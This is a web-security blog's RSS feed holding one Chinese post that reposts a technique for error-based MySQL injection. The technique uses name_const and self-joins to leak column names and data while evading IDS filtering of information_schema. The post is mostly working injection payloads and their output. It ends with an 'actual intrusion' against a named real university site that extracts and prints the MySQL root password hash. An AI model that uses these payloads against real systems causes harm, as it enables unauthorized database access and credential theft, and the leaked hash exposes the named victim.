<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>0x50sec.org &#187; SQLInjection</title>
	<atom:link href="http://www.0x50sec.org/tag/sqlinjection/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.0x50sec.org</link>
	<description>Focus on web security!</description>
	<lastBuildDate>Fri, 13 Jan 2012 09:23:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>绕过IDS过滤information_schema继续注入</title>
		<link>http://www.0x50sec.org/%e7%bb%95%e8%bf%87ids%e8%bf%87%e6%bb%a4information_schema%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5/</link>
		<comments>http://www.0x50sec.org/%e7%bb%95%e8%bf%87ids%e8%bf%87%e6%bb%a4information_schema%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5/#comments</comments>
		<pubDate>Thu, 13 May 2010 02:15:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[information_schema]]></category>
		<category><![CDATA[SQLInjection]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=885</guid>
		<description><![CDATA[绕过IDS过滤information_schema继续注入 来源:http://key0.cn/index.php/archives/510 mickey写的，正文如下: 原来做渗透的时候，遇到过一个站，IDS过滤了information_schema，导致后来我没有搞定，前天看文章，发现一个绕过的方法，本地测试了下，也和月牛讨论了下，最后在月牛的帮助下，把语句都构造好了，原来那个点，回去再看，也就搞定了，后来被当哥把方法给放出来了，那就公布吧。 1.本地构造测试表 mysql&#62; create table users(id int,name varchar(20),passwd varchar(32)); Query OK, 0 rows affected (0.04 sec) mysql&#62; insert into users value(1,’mickey’,’827ccb0eea8a706c4c34a16891f84e7b’); Query OK, 1 row affected (0.00 sec) mysql&#62; create table news(is_admin int(1),id int(2),title varchar(100),date date); Query OK, 0 rows affected (0.00 sec) mysql&#62; insert into news values(1,1,’hello,mickey’,now()); Query OK, 1 row [...]]]></description>
			<content:encoded><![CDATA[<p>绕过IDS过滤information_schema继续注入<br />
来源:http://key0.cn/index.php/archives/510<br />
mickey写的，正文如下:</p>
<p>原来做渗透的时候，遇到过一个站，IDS过滤了information_schema，导致后来我没有搞定，前天看文章，发现一个绕过的方法，本地测试了下，也和月牛讨论了下，最后在月牛的帮助下，把语句都构造好了，原来那个点，回去再看，也就搞定了，后来被当哥把方法给放出来了，那就公布吧。</p>
<p>1.本地构造测试表</p>
<p>mysql&gt; create table users(id int,name varchar(20),passwd varchar(32));<br />
Query OK, 0 rows affected (0.04 sec)</p>
<p>mysql&gt; insert into users value(1,’mickey’,’827ccb0eea8a706c4c34a16891f84e7b’);<br />
Query OK, 1 row affected (0.00 sec)</p>
<p>mysql&gt; create table news(is_admin int(1),id int(2),title varchar(100),date date);<br />
Query OK, 0 rows affected (0.00 sec)</p>
<p>mysql&gt; insert into news values(1,1,’hello,mickey’,now());<br />
Query OK, 1 row affected, 1 warning (0.00 sec)</p>
<p>2.暴列名</p>
<p>mysql&gt; select * from (select * from users as a  join news as b) as c;<br />
ERROR 1060 (42S21): Duplicate column name ‘id’<br />
<span id="more-885"></span><br />
mysql&gt; select * from (select * from users a join users b using(id)) c;<br />
ERROR 1060 (42S21): Duplicate column name ‘name’<br />
mysql&gt; select * from (select * from users a join users b using(id,name)) c;<br />
ERROR 1060 (42S21): Duplicate column name ‘passwd’<br />
mysql&gt; select * from (select * from users a join users b using(id,name,passwd)) c;<br />
+——+——–+———————————-+<br />
| id   | name   | passwd                           |<br />
+——+——–+———————————-+<br />
|    1 | mickey | 827ccb0eea8a706c4c34a16891f84e7b |<br />
+——+——–+———————————-+<br />
1 row in set (0.00 sec)</p>
<p>mysql&gt; select * from (select * from news a join news b using(id)) as c;<br />
ERROR 1060 (42S21): Duplicate column name ‘is_admin’<br />
mysql&gt; select * from (select * from news a join news b using(id,is_admin)) as c;<br />
ERROR 1060 (42S21): Duplicate column name ‘title’<br />
mysql&gt; select * from (select * from news a join news b using(id,is_admin,title)) as c;<br />
ERROR 1060 (42S21): Duplicate column name ‘date’<br />
mysql&gt; select * from (select * from news a join news b using(id,is_admin,title,date)) as c;<br />
+———-+——+————–+————+<br />
| is_admin | id   | title        | date       |<br />
+———-+——+————–+————+<br />
|        1 |    1 | hello,mickey | 2010-05-08 |<br />
+———-+——+————–+————+<br />
1 row in set (0.00 sec)</p>
<p>3.暴字段值 （这个语句是月牛想出来的）</p>
<p>研究出来的暴制语句<br />
select * from cms_votes where vid=1 and exists<br />
(select * from (select * from (select name_const((select group_concat(concat(uid,0x7c,pwd)) from admin)<br />
,&#8217;fuck&#8217;)) a join (select name_const((select group_concat(concat(uid,0x7c,pwd)) from admin),&#8217;fuck&#8217;)) b)c);</p>
<p>运用：<br />
mysql&gt; select * from cms_votes where vid=1 and exists<br />
(select * from (select * from (select name_const(<br />
(select group_concat(concat(uid,0x7c,pwd)) from admin),&#8217;fuck&#8217;)) a<br />
join (select name_const((select group_concat(concat(uid,0x7c,pwd)) fromadmin),<br />
&#8216;fuck&#8217;)) b)c);<br />
ERROR 1060 (42S21): Duplicate column name &#8216;ylbhz|fuck,mickey|fucked&#8217;<br />
mysql&gt;</p>
<p>mysql&gt; select * from cms_votes where vid=1 and exists<br />
(select * from (select * from (select name_const(@@version,0))<br />
a join (select name_const(@@version,0)) b)c);<br />
ERROR 1060 (42S21): Duplicate column name &#8217;5.0.45-community-nt&#8217;</p>
<p>4.实际入侵案例</p>
<p>http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&#038;sid=19</p>
<p>&amp;cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+<br />
join+(select+name_const(@@version,0))b)c)</p>
<p>Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’</p>
<p>http://wlkc.zjtie.edu.cn/qcwh/content/detail.php?id=330&#038;</p>
<p>sid=19&amp;cid=261+and+exists(select*from+(select*from(<br />
select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))a+join+<br />
(select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))b)c)<br />
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′<br />
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′</p>
<p>最后多谢月牛的指导与讨论。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e7%bb%95%e8%bf%87ids%e8%bf%87%e6%bb%a4information_schema%e7%bb%a7%e7%bb%ad%e6%b3%a8%e5%85%a5/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

